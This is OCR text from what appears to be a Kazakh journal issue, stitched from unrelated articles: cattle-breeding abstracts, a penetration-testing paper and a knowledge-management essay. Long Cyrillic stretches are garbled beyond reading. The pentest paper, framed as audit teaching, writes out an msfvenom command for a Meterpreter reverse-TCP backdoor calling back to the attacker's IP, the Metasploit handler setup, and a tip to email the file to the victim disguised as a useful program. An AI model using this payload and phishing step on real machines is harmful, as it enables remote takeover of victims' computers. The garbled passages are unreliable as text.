Annpira KOWBUTFaH MakcaT OOJIBIN, CHMMEHTal TYKBIMBIHBIH JkaHa "EpTic" KpI3BUT-aia CYTTI Mall TypiepiH
CHIHAKTaH OTKI3T€HHEH KEHiHIl Ke3eHJe MaKCaTThl CeNeKIMIIBIK-aChUITYKBIMIBIK KYMBICHIHBIH HOTHIKENEpiH KO-
PBITBIH/IBUIAY, COHJIAl-aK OJIapIIbIH OHIMALIITIHIH Ka3ipri xkail-kyiii ecenrenmi, mpican petinge "Kupos" KUIC man
TaOBIHBI AJIBIHFAH.

Herisri cenexkuusuiblK O€AriIepaiH OpTamia eHIMAUIIK KOPCETKIIITepi eCKepiami, aram aitkanma, 305 KyH
ilnHAeri caybiM, Maii MEH aKybl3 MailbI3bl, Tipl cajMarbl, COHJAAi-aK OHIMII NalaaiaHyJblH OpTama y3aKTHIFbI.
MyHza Mail MeH aKkybI3 IalbI3bl CYT CalachlHbIH MHTerpauusuianran xyieciniy (Milkoscan FT+, Fossomatic FT+)
aHaAJIM3aTOPJIApbIH/IA Ka3ipri 3aMaHFbl aClalTapMEH aHBIKTAJIFAaH KOHE Kbl KaObUIIaHFaH dicTeMelep OOMbIHIIA
JIepeKTEep/li CTATUCTUKANIBIK OHJCY XKYPTi3uIi.

Hormxecinne 2009 xbuinan 2016 xpiira AeHiHri Ke3eHae cublpiaapAblH OHIMIUITT alTapibIKTai sKoFapbLian,
CHUBIpABIH opTamia caybiMbl 305 kyHre taObiH OoiibiHira 2089 kr Hemece 54,4% (3829 + 42,3-ten 5928 + 27,8-re
JIeHiH) OCTi.

CoHFBI asKTaJFaH JIaKTaIusa OOMBIHIIA cHBIpFa opTama caybiM 305 KyH imriHzme OipiHmn JTakTamus OOWBIHIIA
5040,1 + 65,16 kr cyrti (N=108), exinmiciner 5814,1 + 49,66 kr (N=385), YmIiHIIi )oHE OJaH KOFAPHI JIAKTAIIHS
OoiipramIa 6269,7 + 37,76 kT (N=410) KypasI.

Cublpiap/ibl OHIMII MaianaHyAblH opTania y3aKkTeirsl 2,8 nakrauus (lim 1-9) kypazapl, oHbIH imriHAe 3-1 KoHE
0J/1aH XoFapsl Naktauus 45,4%.

Ocepunaitna, "Kupos" JKIIC TaObiHgarsl CMMMEHTal TYKbIMBIHBIH "EpTic" KbI3bLI-asia TYpi achil TYKBIMIIbI
MaJIIapbIHBIH OHIMJIUIIK CallachlH JKETUIAIpY OOMBIHIIA MAaKCATTHI CENIEKIMSIIBIK-aChbUITYKBIM/BIK JKYMBICHI THIMII
JKOHE JIe OHBI OJIaH 9pi ©Cipy MEH OHBI CENEKISUIBIK CAKTay YIIiH KOJIAHIIBI.

Tyiiin ce3aep: TYKbIM, TYKbIM IIIIHAET] TYp, CHBIP, CYTTUIIK, JaKTalus, TeHO(OH, OHIMAl y3aK eMip cypy,
CeJNeKIINSI.
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'TOO «Kazaxckuii HAy4YHO-HCCIIEIOBATENbCKUN HHCTUTYT )KUBOTHOBOACTBA 1 KOPMOIIPOHU3BOICTBAY,
Anmartsl, Kazaxcran,
2TOO «IOro-3amnagHbIi HAYIHO-HCCIE0BATEIIECKUN HHCTUTYT )KUBOTHOBOJICTBA M PACTCHUEBOICTBAY,
IlIsiMkenT, Kazaxcran

PE3YJIbTATHI HEJTEHAIIPABJEHHOM CEJIEKI_II/IOHHO-HJIEMEHHOI‘/‘[ PABOTHI
KPACHO-IIECTPOI'O THITA MOJIOYHOT'O CKOTA CUMMEHTAJIBCKOMU ITOPOAbI

AnHOTanusi. B crathe JaHa XapaKTepHCTHKA CEJICKIIMOHHO-IUIEMEHHOH paboThl ¢ KPacHO-NECTPHIM THIIOM
ckota «EpTic» CHMMEHTaJBCKOH TOpPOJBI CO3JAHHOTO MO HAyYHBIM pYKOBOACTBOM YyueHbIx TOO
«KasHMMXK u K», Ha 0CHOBE COBEpIIEHCTBOBAHUS CUMMEHTAILCKOM MOPOJbI KPYIIHOI'O POraToro CKOTa B Halpas-
JICHUM TIOBBIIIECHHUS MOJIOYHOW IPOJYKTUBHOCTH C HCIIOJIB30BAaHHEM TI'eHO(OHIa MMIOPTHBIX OBIKOB-IIPON3BOJIH-
TeNnen.

Lenpto siBUIOCH 000OIICHNE PE3YIBTATOB LIEJICHANPABICHHON CENEKIIMOHHO-TNIEMEHHON PabOTHI 3a MEPHOA
nocie anpobanuy >KUBOTHBIX HOBOT'O KPacHO-TIECTPOI0 MOJIOYHOTO TUIa cKoTa «EpTic» cMMMeHTalbCcKo# IOpOoab
Ha nnpumepe craga TOO «Kupoay, a Tak’ke COBpeMEHHOE COCTOSIHHE UX IMPOTYKTUBHOCTH.

beum YUYTCHBI CPCAHUC TMOKA3aTCIN NPOAYKTUBHOCTU OCHOBHBIX CCJICKIMOHHBLIX MMPU3HAKOB, TAKUC KaK, y)10171
3a 305 mHeW JakTanuu, IPOLEHT JKUpa M OenKa, )KMBas Macca, a TAKXKe UX CPEeIHSS MPOJIODKUTENBHOCTD MPOIYK-
TUBHOTO MCHOJIb30BaHUs. ['1ie, MpoueHT xupa 1 OeiKa Oompenesuli COBPEMEHHBIMHM MPUOOpaMH Ha aHaJIM3aTopax
MHTErpUpPOBaHHOW cucTeMbl KadectBa mosoka (Milkoscan FT+, Fossomatic FT+) n npoBenena cratuctuyeckas
00paboTKa JAHHBIX IO OOMICTIPHHATHIM METOIUKAM.

B pesynbrare 3a mepuox ¢ 2009 mo 2016 IT. TOCTUTHYTO 3HAYUTENHHOE TOBBIIICHHE MPOIYKTUBHOCTH KO-
POB, cpeHMi yaoi KopoBsl Ha 305 nHEH B akTanuu 1o craxy nosbicuiics Ha 2089 kr wmm 54,4% (¢ 3829 + 42,3 no
5928 +£27,8).

ITo mocnenuelt 3aBepIIEHHON JIAKTAIlMH, CPEIHUN yIO0H Ha KOpoBy 3a 305 mHel cocTaBWII MO MEPBOM JIaKTa-
muu 5040,1 £ 65,16 xr monoka (n=108), mo BTopoi 5814,1 + 49,66 kr (n=385), MO TpeTheH M CTapIle JAKTAIUN
6269,7 £ 37,76 xr (n=410).

CpenHsisi MPOA0JKUTEIBHOCTD MPOAYKTUBHOIO KCIOJIb30BaHUS KOPOB cocTaBmia 2,8 makrtamuu (lim 1-9), u3
Hux 3-it u crapie nakrauu 45,4%.

Takum o0pa3oMm, IiejeHanpaBieHHas CeNeKIMOHHO-TUIEeMEHHasi paboTa M0 COBEPIICHCTBOBAHHIO NMPOTYKTHB-
HBIX Ka4eCTB KpacHO-IecTporo Tuma ckota «Epric» cuMmmenransckoil mopoast craga TOO «Kuposa» BrosHe BbI-
TOJIHBI ¥ TPUEMJIEMBI ISl TAJIbHEHILIETO €ro Pa3BeCHUs U €€ CEIEKLIIMOHHOTO COXPaHEHHSI.

Ki1roueBble cji0Ba: moposa, BHyTPUIIOPOAHBIN THII, KOPOBA, MOJIOYHOCTh, JIAKTAIMs, T€HO(OH, MPOIYKTHB-
HOE JIOJNITOJIETHE, CETEKIIHSL.
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PENETRATION TESTING

Abstract. Detection of vulnerabilities is an important composite component of both internal and external audit
of information security systems. Potential internal vulnerabilities can be revealed by testing for penetration. At the
same time, both the commercial and being in the free access instruments of penetration test are used differently. The
review of recognized methodologies (standards) of conducting testing for penetration is made. The list of free
distribution kits of instruments of penetration test is provided. One of the widespread attacks is BackDoor allowing
to receive control over the attacked system. With the help of the utility of Msfvenom which is a part of a free
distribution kit of penetration test Kali Linux with methodology of PTES the attack of BackDoor by implementation
of an exploit is successfully realized. Control over the attacked virtual machine was as a result received.

Keywords: vulnerabilities, penetration testing methodology, BackDoor attacks.

Introduction. Now there was the standard international practice of support of the mode of the in-
formation security (IS), one of the stages of which is audit of the IS systems. Existence of management
system of IS (Information Security Management), and in particular audit of management system of IS
(Risk Management), is an indispensable condition of the organization of the IS mode at the enterprise.

IS audit is carried out by a team of security experts of enterprise systems and experts in the field of
management. One of the methods in case of the active audit of information security systems is testing for
penetration. Testing for penetration - the valuation method of safety of computer systems or networks
simulars of the attack of the malefactor (ethic hacking - ethical hacking). Testing for penetration is an
integral part of the analysis of security of any information resource. The authorized search of vulnerabi-
lities of protection system is execute and their subsequent use for penetration into subject to protection.
The purpose of penetration test is independent assessment and the expert opinion on a status of security of
the critical information. The recommendations about closing (elimination) of the found vulnerabilities are
whenever possible formulated. As a result, security concerns which need to be solved urgently come to
light. There is a certification of CHE (Certified Ethical Hacker) for experts in the field of conducting
testing for penetration which is recognized around the world today and confirms existence of appropriate
level of knowledge. The certified examination of EC-Council CEH approved by the U.S. Department of
Defense is one of recognized for experts of IT safety. State structures of the USA require existence of this
certificate for certain positions of IS that once again emphasizes importance of penetration test as
instrument of the active audit.

Methods. There are several recognized techniques (standards) of conducting penetration test:
Payment Card Industry Data Security Standard — PCI DSS (Penetration Test Guidance, methodology of
Special Interest Group PCI Security Standards Council), OSSTMM (Open Source Security Testing
Methodology Manual), NIST Special Publications 800-115 Technical Guide to Information Security
Testing and Assessment (NIST methodology, CSRC subdividing), Study A Penetration Testing Model
(BSI methodology, the German subdividing of Federal Office for Information Security), ISSAF (Infor-
mation System Security Assessment Framework, methodology of Open Information Systems Security
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Group), OWASP Testing Guide (methodology of Open Web Application Security Project), PTES
Technical Guidelines (Penetration Testing Execution Standard), methodology of Deloitte [1-8].

The offered methodologies differ on steps of conducting testing, types of testing for penetration,
detailing of testing objects, determination of testing procedures, the description of utilities for conducting
testing, a formulating, structure, a detail of description of a technique and purposes of penetration testing.

PCI DSS is oriented on a penetration testing for the organizations which processing, storing and
transferring data of card owners. OSSTMM is one of the first techniques of complex testing of infor-
mation security of the organization. In methodology of NIST different recommendations about testing
types are described, there is in the separate document an operation methodology with a fire-wall (NIST SP
800-41 Guideline on Firewalls and Firewall Policy). The detailed methodology of BSI provides both
technical and organizational aspects of testing, and legal aspects. ISSAF describes assessment of safety of
fire-walls, routers, anti-virus systems and many other things. Methodologies of PTES and OWASP are
well structured therefore they are widely used when testing for penetration. PTES is model which was
used in the system of a penetration testing Rapid7 Metasploit.

Tools. Penetration test is subdivided on external and internal. External infrastructure penetration test
is an analysis of perimeter from the Internet. The expert makes attempts, trying to compromise available
network services and to develop the attack which main goal is to get in system. Internal infrastructure
penetration test is a simulation of action of the insider. As the insider the infected node in a network can
appear.

In turn external penetration test is conditionally divided into categories: network scanners, scanners in
web scripts, exploits, automation of injections, debugger. There are both separate programs, and distri-
bution kits (commercial and free) for conducting testing for penetration.

Usually distribution kits represent the processed versions existing Linux distribution kits.

The most known of them which are in the free access [9]:

- BlackArch Linux, a distribution kit is based on Arch Linux. Includes 1359 utilities for testing for
penetration, it is intended for professionals, maintains architecture of 1686 and x86 64;

- Parrot Security OS, is based on Debian Linux, the easy and effective testing tool on penetration, idle
time in mastering;

- BackBox, is based on Ubuntu Linux, is convenient for private use, and has rather good functionality
for daily use;

- Pentoo, is based on Gentoo Linux, contains a set of security-utilities;

- Network Security Toolkit, is based on Fedora Linux, intended for the analysis of safety of a net-
work, gives simple access to a wide set of the opened network applications, many of which are included in
one hundred the best security aids recommended by the website insecure.org;

- DEFT Linux, is founded on Lubuntu, has the convenient graphic interface, includes antiviruses, the
systems of information search in a browser cache, network scanners and utilities for detection of rootkits,
tools for search of the hidden data on a disk;

- Samurai Web Security Framework is intended for testing for penetration of different web
applications. It is delivered in the form of an image of the virtual machine which contains the most po-
pular Open Source of the utility for information collection and carrying out different attacks to web
applications;

- Santoku Linux, is based on Ubuntu Linux. It is intended for the analysis of mobile devices and
applications: carrying out the analysis of safety, extraction of data, the reverse engineering, forensic, also
contains development tools. It is provided only for the X64 platform;

- WifiSlax, is based on Slackware Linux, intended for check of safety of the WiFi networks systems
and carrying out the criminalist analysis. It is used for audit of Wi-Fi of networks as the majority of
popular utilities for the analysis of security of wireless networks are included in it, maintains the majority
creates network interface cards;

- Kali Linux, is based on Debian Linux, includes more than 600 security-utilities (Wireshark, Nmap,
Armitage, Aircrack, Burp Suite, etc.) and multilingual support. There are several types of this distribution
kit for different platforms: x86 and ARM systems, systems of virtualization, mobile platforms (Kali Net
hunter).

— 4) ——
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Results. Kali Linux — the most popular and advanced distribution kit for conducting testing for
penetration and security audit today [10]. The special kernel of Kali Linux is protected from injections that
allows to book audit of wireless networks safely. Kali Linux maintains a large number of wireless devices,
is compatible to USB and other wireless devices.

In [11] risks and threats of virtualization and results of detection of vulnerabilities of the virtual
machines by port scanning by means of the utility of Wireshark from the Kali Linux distribution kit were
presented.

Also the utility of Msfvenom is a Kali Linux part by means of which it is possible to realize the attack
of BackDoor, having created an exploit. Successfully realized attack of BackDoor allows to implement on
the attacked computer the small program through which it is possible to collect confidential data, to
control far off an operating system and the computer in general, to use the cracked computer for scanning
of a network, carrying out network attacks of network hacking. Usually in case of this attack two
programs are used. The program of control is installed on the computer of the tester and controls other
program which is illegally set on the attacked computer.

The exploit uses vulnerabilities of the attacked system to violation of its safety. There is an open
database of exploits (The Exploit Database) and the appropriate vulnerable software. The basis is created
and supported for testers on penetration and researchers of vulnerabilities. There are also closed databases
in which the most interesting exploits are collected. Access to them can be or paid, or for a certain circle
of people. To one of examples can serve the tool for testing for penetration — Metasploit Exploitation
Framework. It contains a big basis of exploits. There are two Metasploit versions, free and paid. There are
websites on search of exploits, such as The Exploit Database, WPScan Vulnerability Database (a fresh
basis of exploits for WordPress) and Packet Storm (the most different fresh exploits).

With the help of the utility of Msfvenom which is a part of a free distribution kit of penetration test
Kali Linux with methodology of PTES the attack of BackDoor was organized. As attacked the virtual
machine was used. With the help of Msfvenom the special program - an exploit (exploit) with the .exe
format is created. Implementation of this program in the attacked computer, gives to the malefactor access
to the virtual machine and means of the user.

During creation of an exploit it is necessary to specify the IP address of the attacking machine, the
port and the place of saving the file of an exploit in the attacking machine. To learn the IP address, it is
possible to use the ifconfig command. This command will issue information on a configuration of the
attacking machine, including the IP address - 192.168.209.138 (figure 1).

root@Kkali: ~ e 00

@aian  [paska Bwpo [Mowck TepmuHan Cnpaska

:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.209.138 netmask 255.255.255.0 broadcast 192.168.209.255

inet6 fe80::20c:29ff:feal:84b0 prefixlen 64 scopeid Ox20<link>

ether 00:0c:29:a1:84:b0 txqueuelen 1000 (Ethernet)

RX packets 40750 bytes 28056322 (26.7 MiB)

RX errors @ dropped @ overruns @ frame @

TX packets 8355 bytes 755490 (737.7 KiB)

TX errors 0 dropped @ overruns @ carrier @ collisions @

Figure 1 — Configuration of hacking machine

We use data retrieved during creation of an exploit: we specify the IP address of the attacking
machine (192.168.209.138), the port (5566), the place of saving and file name of an exploit (attack.exe).
The exploit is created on the x86 platform, file size 73802 bytes (figure 2).

After creation of an exploit we will send it to the virtual machine Windows 7 via the Internet. For
example, through e-mail, explaining attacked that it is the useful program.

Further on the attacking machine we will launch metasploit framework (figure 3).

Then we register the IP address of the attacking machine and on what port there will be a connection
with the implemented exploit (figure 4).

Attacked launches an exploit by the machine, thinking that it is the useful program.
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:~# msftvenom -p windows/meterpreter/reverse tcp LHOST=192.168.209.138
LPORT=5566 - exe > /root/attack.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the pay
load

No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes

Final size of exe file: 73802 bytes

¢ > | 4| Domawwssnanka opt » Q|| @ ®@ @

) Hepaeue .:. — E —D_ —@)_

attack.exe opt Buoeo LokyMeHTel  3arpysku

Figure 2 — Creation of exploit

metasploit framework

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

--—[ 455 pdyIOads - 39 encoders - 8 nops

22 ]
b auxiliary - 272 post 1
]
-=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

Figure 3 — Start of metasploit framework

> use exploit/multi/handler
it } > set LHOST 192.168.209.138

set LPORT 5566

Figure 4 — Configuration of linking with exploit
[ exploit( ) = exploit

]| Started reverse TCP handler on 192.168.209.138:5566
| Starting the payload handler...
| Sending stage (957999 bytes) to 192.168.2089.134

Meterpreter session 1 opened (192.168.209.138:5566 -> 192.168.209.134:1369)
at 2017-03-04 12:57:20 +0600

Figure 5 — Link with exploit

meterpreter > sy51nTo

Computer : WIN-VIC3SADBGT7R

0s : Windows 7 (Build 7601, Service Pack 1}.
Architecture : x64 {Current Process is WOW64)

System Language : ru RU

Domain : WORKGROUP
Logged On Users : 2
Meterpreter : X86/win32
meterpreter >

Figure 6 — Messages from exploit

— 4y ——
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By this time by the attacking machine it is necessary to open a session of connection with an exploit
(figure 5).

Now the virtual machine under monitoring of the attacking machine (figure 6).

Conclusion. Innovation, organization, and sophistication - these are the tools of cyber attackers as
they work harder and more efficiently to uncover new vulnerabilities [12]. With the help of testing for
penetration it is possible to be ahead of malefactors, having revealed and having eliminated vulnerabilities
before real cyber-attack. Now penetration test is a mandatory component of both internal and external
audit. Free products of penetration testing are easy to use. They allow identifying vulnerabilities on the
channel, network and transport levels, having built-in expert systems. When solving problems at the
application level, these products unusable. In this case necessary to use commercial solutions (commercial
versions Nessus and Rapid 7 NeXpose, Xspider 7, Retina Nenwork Security Scanner, SAINT and etc.)
[13-16]. Commercial products of the penetration testing use more advanced technologies and have
extended capabilities compared to free ones. This provides additional opportunities in assessing risks and
threats. Penetration testing should be performed on both the channel, network and transport layers, and at
the application level.
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EHYTE TECTLIEY

AnHotanus. OcaIbIKTapabl aHBIKTAYy — aKIMAPATTHIK KAYIlCI3IiK JKyHeaepiHiH ilIKi )KOHE ChIPTKBI ayIUTIHIH
MAaHBI3BI Kypamaac Oesiri OOJbI TaOBUIAABI. OJIEYeTTi IMIKi OCAJABIKTapAbl €HYT'e TECTLICY apKbUIBI aHBIKTAyFa
Gomanp! (pentest). by perTe, apTypIii KOMMEPIMSUIIBIK, COHIAM-aK MEHTECTTIH €PKIH KOJI JKeTIMAl Kypaiuaapbl mai-
nananeliansl. EHyre Tecriney sKyprizyliH TaHBUIFaH dicTeMeliepiHe (CTaHAapTTapbiHa) mioiry >kypriziani. Ilenrecr
KYpaJIapbIHbIH TETiH ITUCTPUOYTHBTEpPiHiH Ti3iMi kentipinreH. KeH Taparan maOysmimapnasiH Oipi — malyburra
YIIbIpaFaH JKyieHi 6akputayra MyMKiHIIK Oeperin BackDoor maOysurer. [lenrecttin Terin nuctpudyTusi Kali Linux
KypaMmbiHa KipeTiH Msfvenom yrunuraceibH kemeriMern PTES oniciTemeci OOMBIHINIA SKCIUIOUTTHI €HTI3y apKBLIBI
BackDoor ma0ysbiibl icke ackipasl. HoTmkecine, madybuiianFal BUPTYaiibl MallinHa OakbliayFa ajibIH/bl.

Tyiiin ce3aep: ocanabiKTap, eHyre Tecriney auicremenepi, BackDoor mabysuinapsi.
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TECTUPOBAHUE HA TIPOHUKHOBEHUE

AHHoTauus. BrisBieHne ya3BUMOCTEH ABISETCA BaXKHON COCTAaBHOW KOMIIOHEHTOH KaK BHYTPEHHETO, TaK U
BHEIITHET0 ayJuTa CUCTeM MH(POPMannOHHON Oe3omacHOCTH. [loTeHInanpHbIe BHYTPEHHUE YA3BUMOCTH MOTYT OBITHh
BBISIBJIEHB! TECTUPOBAaHHEM Ha IIPOHUKHOBEHHE (neHTecT). [Ipu 3TOM MCoNb3yIOTCs pa3anyHble Kak KOMMEpYECKHe,
TaK U Haxoasaluecsa B CBO60[{HOM JO0CTYyII€ MHCTPYMEHTBI NMEHTCCTA. C)Ie.l'laH O630p IMpU3HAHHBIX MeTOLlOJIOFI/Iﬁ
(craHmapToOB) NMPOBENECHUS] TECTUPOBAHUS HAa NMPOHUKHOBEHHE. [IprBOANTCS NepeyeHb OecIIaTHBIX AUCTPHOYTHBOB
HHCTPYMEHTOB TieHTecTa. OHOM U3 paclpOoCTpaHCHHBIX aTak sBiseTcs aTtaka BackDoor, mo3Bossromas moixy4uTh
KOHTpOJIb HaJl arakyeMoi cucremoil. C momoisio yrmmThl Msfvenom, BXxonsieil B coctaB OecIulaTHOTO AUCTPH-
oyrusa nmentecta Kali Linux, mo metogonoruun PTES peanmn3oBana araka BackDoor myTem BHenpeHHs dKcIuionTa. B
pe3ynpTaTe OBUT IOIyYeH KOHTPOJIb Hall aTaKyeMOH BUPTYAIBHON MAIIHHOM.
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TRANSFORMATION OF INFORMATION
INTO KNOWLEDGE AT SOLVING THE MANAGEMENT TASKS

Abstract. The article considers the problems of people engaged in intellectual activity related to information
overload. In the modern world, the amount of information with which managers, analysts and experts work is
constantly growing. At that, the information required for daily work in the decision-making process is approximately
constant in terms of volume. Due to which there is a problem of qualitative selection, filtering the flow of infor-
mation with the transformation of its various forms: records, texts, documents into knowledge. The issue of
transformation of information into knowledge is poorly understood in the scientific literature.

The issues of how to arrange your thinking and organize your intellectual activity within the organization are of
interest to people involved in management activities. It is important for them that the process of creating new
knowledge be manageable and productive. To solve this problem, we offer the technology of the subject’s know-
ledge digitalization with Insight-DNA.

In 2016, Insight-DNA technology with a wide range of applications was registered as a copyright object. In this
article, we will disclose one aspect of the application of this technology — the creation of text products in the digi-
talization of knowledge. We believe that well-organized and structured knowledge is transmitted and perceived in
text products.

The emergence of digital knowledge technology in the market and creation of domestic robots — CEO assistants
on its basis activates the scientific developments in the artificial intelligence.

Keywords: digitalization of knowledge, knowledge management, intellectual product, corporate knowledge.

The ability to use information resources most effectively is one of the basic requirements for the
successful operation of any organization operating in the constantly increasing competition.

The amount of information in the modern world that analysts, experts, and managers must work with
is constantly growing. But the amount of information that is necessary for daily work and decision-making
is approximately constant. This leads to the loss of logical links between information objects and the brain,
which processes 160,000 times more information every day than the human brain had been processing in
the 19™ century, and more and more produces disruptions in impulsive behavior, depression, chronic
fatigue syndrome, etc. [1]

UNESCO noted the emergence of a new "information fatigue syndrome — info-phobia" in 2002,
which is experienced, as a rule, by people actively engaged in intellectual and managerial activi-
ties [2].

It is difficult to disagree that the activity of any organization is a process-oriented search for the
required procedural decisions in the system of distributed information of knowledge, which is related to
the moment of transformation of the information flow forms into knowledge made in the form of records,
texts, documents. We understand that information turns into knowledge when it is in demand and solves
the specific issues. There are many definitions of the concept of "knowledge" in the scientific literature.
But within our work, the definition of the Standard of the Republic of Kazakhstan ISO 9001 is well
correlated determining the knowledge as the information that is repeatedly used during the activity.
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And as the knowledge of the organization is the corporate knowledge, which cannot arise by itself. In
today's publications, there are many discussions about the usefulness of corporate knowledge systems [3-
11]. But there are no practical works that would show the mechanism of creating a corporate knowledge
system itself in companies when creation of such system is needed.

Corporate knowledge is a system that integrates the knowledge of individual players who are con-
stantly involved in the process of forming a corporate base. For example, if there are only consumers who
are already using the knowledge formed by someone, then such a corporate knowledge system will no
longer be necessary after a certain period.

The issues of how to organize the thinking and how to organize the intellectual activity within the
organization are of interest to people involved in management activities. It is important for them that the
process of creating new knowledge be manageable and productive.

To solve this problem, we offer the technology of digitalization of the individual’s knowledge by
Insight-DNA — the technology of transforming thoughts into intelligent products [12].

In 2016, Insight-DNA technology with a wide range of applications was registered as the copyright
object. Today we will disclose one aspect of this technology application — creation of text products in the
digitalization of knowledge. We believe that well-organized and structured knowledge is transmitted and
perceived in text products, i.e. in text forms that allow to perceive, interpret, understand them, facilitating
the adoption of managerial decisions [13].

Studying the literature on digitalization of knowledge, we formulated several search queries on
international scientific bases and searched for information on a common network. After analyzing the
materials received on request, we concluded that the scientific community had not developed this issue
enough and began to carry out our own research of the theme [14].

The word "digitalization" itself requires an interpretation. Today, there is an interest in new words,
probably contributing to our inclusion in the world community. And the term is used universally and
literally without understanding its meaningful palette. We focused on one definition of digitalization,
which was published by Alexei Marey, Board of Directors of Alfa Bank: "digitalization is a paradigm shift
in how we think, how we act and how we communicate with the external environment and with each
other. That is, digitalization is more a tool than a goal" [15].

Let us outline a brief description of the management system for creation of text products (MSCTP) —
a pilot version that implements Insight-DNA technology in the process of creating a corporate knowledge
base, based on this understanding of digitalization.

The key concept of our development is the "consciousness flow". Today this concept is met in the
modern version in the works of E. De Bono when he forms his apparatus [16]. However, De Bono does
not consider and does not define the concept of "consciousness flow". After a literary survey, we found a
definition in the Great Soviet Encyclopedia proposed by James Wiliams back in 1890. In his scientific
work “The Foundation of Psychology”, the consciousness flow is a complex river in which thoughts, sen-
sations and emotions and associations are strangely mixed [17]. Now the purpose of our digitalization
technology of subject knowledge becomes clear.

The Insight-DNA technology of digitalization of the subject’s knowledge is aimed at:

— transformation of spontaneous thoughts, sensations and associations into ideas;

— increasing the survival of ideas;

— fixing the idea in symbolic forms;

— development of ideas in intellectual products (solutions, publications, developments, etc.);

— synthesis of ideas and products disaggregated in time and relevant now.

It is very important that one of the purposes of the system is to guarantee the survival of ideas. On a
pragmatic and practical level, we always feel that thoughts somehow spontaneously come to mind and go
away, and we remember something. Our technology contributes to the survival of spontaneous ideas that
can be formed in the process of orderly and systematic transformation of spontaneous thoughts into ideas.

Also, the technology allows to consolidate ideas in symbolic forms, which are specially prepared and
recommended by us as tested in practice. A whole system of notations and rules was developed. Because
the consolidation of the ideas themselves in symbolic forms is not carried out once at any time, it is
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distributed over a sufficiently long period. Personal experience within the Insight-DNA technology since
October 10, 2012, showed that in a certain version the idea itself can be formed depending on its depth
within a period from one month to several years. Moreover, the process of formation of ideas itself
involves the clarification of certain formulations of conceptual things that arise as the subject receives
information from outside during reading and in real life all it is all fixed. An important condition for
permanent participants of this process is the continuous record keeping. Significant insights, thoughts,
important day outputs (the so-called 'out-put’) should be registered daily and this is a mandatory re-
quirement for the technology application. Our idea is well illustrated with one of Nikola Tesla's 25 quotes:
"If there was some exhausting task in front of me, I would attack it again and again until I made it. So, I
practiced day by day, from morning till night. At first it required a strong mental effort directed against
inclinations and desires, but for years the contradiction became weak, and finally, my will and desire
became the same. So they are today, and this is the secret of all my successes" [18]. And so, the
technology allows to develop ideas into intelligent products. This is already a whole set of algorithms,
rules of behavior, processing rules that allow connecting and developing this idea, orienting it on current
goals, plans and responding to changes.

And finally, the main feature of this technology is that it is aimed at the synthesis of ideas and
products disjointed in time and relevant to the current situation.

The five areas listed below still do not exclude some additions that are being worked out, we are
studying them now.

The technology includes 4 groups of processes (see figure 1). Moreover, these groups of processes
are also the phases of the process of converting spontaneous thoughts into intellectual products.

1. Reflection of thoughts, emotions, sensations and
associations in symbolic forms on external media

2. Registration and storage of the subject’s consciousness
flow components reflected in symbolic forms and
structured in a special way

3. Planning of the intellectual products supplied by the
subject based on the principle of evolution of ideas into
smart goals implemented with the Insicht-DNA technology

4. Creation of intellectual products of a subject based on
the synthesis of ideas and products broken at time and
relevant for the current situations

Figure 1 — Insight-DNA technology process groups

Those moments that relate to the new innovative developments were highlighted in red.

It turns out that the presence of the base itself, which has been formed in compliance with the Insight-
DNA technology principles leads us to achieve higher goals, namely the SMART goals. It became clear to
us only after five years of practical work. We began to understand that this technology cannot help the
team or a group of people, if they do not have their own initial reserve. Therefore, our technology provides
self-diagnostics, namely the thematic self-diagnostics of components using the tools of the artificial
intelligence algorithm and the knowledge base itself, which relates to the database of accumulated records,
allows identifying the areas that are the most developed today. The most prepared, in our practice, were
the bases for the preparation of publications.

Finally, the last phase is the creation of intellectual products of the subject based on the synthesis of
intellectual products broken in time and relevant for the current situation [19]. The main categories of
information objects in the Insight-DNA technology introduced in the pilot version in the MSCTP are:

— personal records of the subjects that form the corporate knowledge system;

— text products that are being created as deliverables. The delivered result is any unique and veri-
fiable product, result or the ability to provide the service that must be performed to complete the process,
phase or project. The deliverables are usually the material components created to achieve the project
objectives, which may include elements of a project management plan [20];
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Figure 2 — Model of "CEO-organization" dyad development management

— primary sources;

— documents for configuration management.

An innovative element in Insight-DNA technology is: creation of a "CEO-organization" "dyad
development control cube" of the (see figure 2).

The model consists of five levels. We proceed from the fact that management should be comfortable.
At present, software applications are widely used to calculate the number of steps that have been taken.
But there are no software applications that assess the quality of thinking activity: how much time was
spent on work, how much time for leisure, and how long our mind was resting, etc.

The first level was called "Management of the quality of life of the subject”". It includes: "Work",
"Life", "Health" and "Leisure" (WLHL) strata, S - subject, Deming and Shewhart PDCA cycle: Plan-Do-
Check-Act - and repository of lessons learned - R. "WLHL" may be linked with the known four dimen-
sions of human nature that Steven Covey suggests: "body", "mind", "emotion" and "spirit" [21]. The per-
son starts feeling the happiness comfort when he has balanced 4 dimensions of human nature. They are
expressed through the WLHL strata. S is a complex sense of own personal dignity, it is formed in comfort
on four strata of the WLHL. Each of these strata ends with a repository of lessons learned.

The second is the management of the quality of life, in the unity of the leader-organization-family-
society. For this, we introduce the concept of quality and self-development management of the subject as a
leader by analogy of the PMI talent triangle with the sides of technical project management, strategic
management and business management and leadership.

Among the components of our concept of the side are:

1. Management of own living environment development.

2. Implementation of current activities.

3. Knowledge management: personal, office, network and corporate.

Speaking about the adaptation of technology to the current terms, we note the following features:

— focused on project management;

— adapted to the conditions of Kazakhstan (100% Kazakhstani content);

— contains the developed modern conceptual-categorical apparatus that incorporates the best
international practices;
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— the main components of the technology and author algorithms that implement them are tested in
practice and provide digitalization of the subject's knowledge in managing the organization development
(through projects);

— the key users of the pilot version are the head managers, top managers and project managers.

To form a circle of people interested in more details, we need to connect the purpose of this
technology with the tasks that arise at high levels of management. With this purpose, let us apply to the
Decree of the President "On approval of the strategic plan for the development of Kazakhstan until 2025".
It becomes obvious that this technology is not limited to an industry or a single group of interested
persons. Practically, it is aimed at implementing the most important reform (one of seven) - it is obtaining
the new human capital in the country. Moreover, it is in demand to carry out the modernization of con-
sciousness, the first step of which is "Rukhani zhangyru" [22]. Unfortunately, the program lacks an
important component that related to the search for a tool allowing to accelerate and ensure the formation
of this new human capital, which will have a higher culture of thinking. The goals of our technology are
focused at enhancing the culture of thinking.

The emergence of the knowledge digitalization technology on the market and creation of domestic
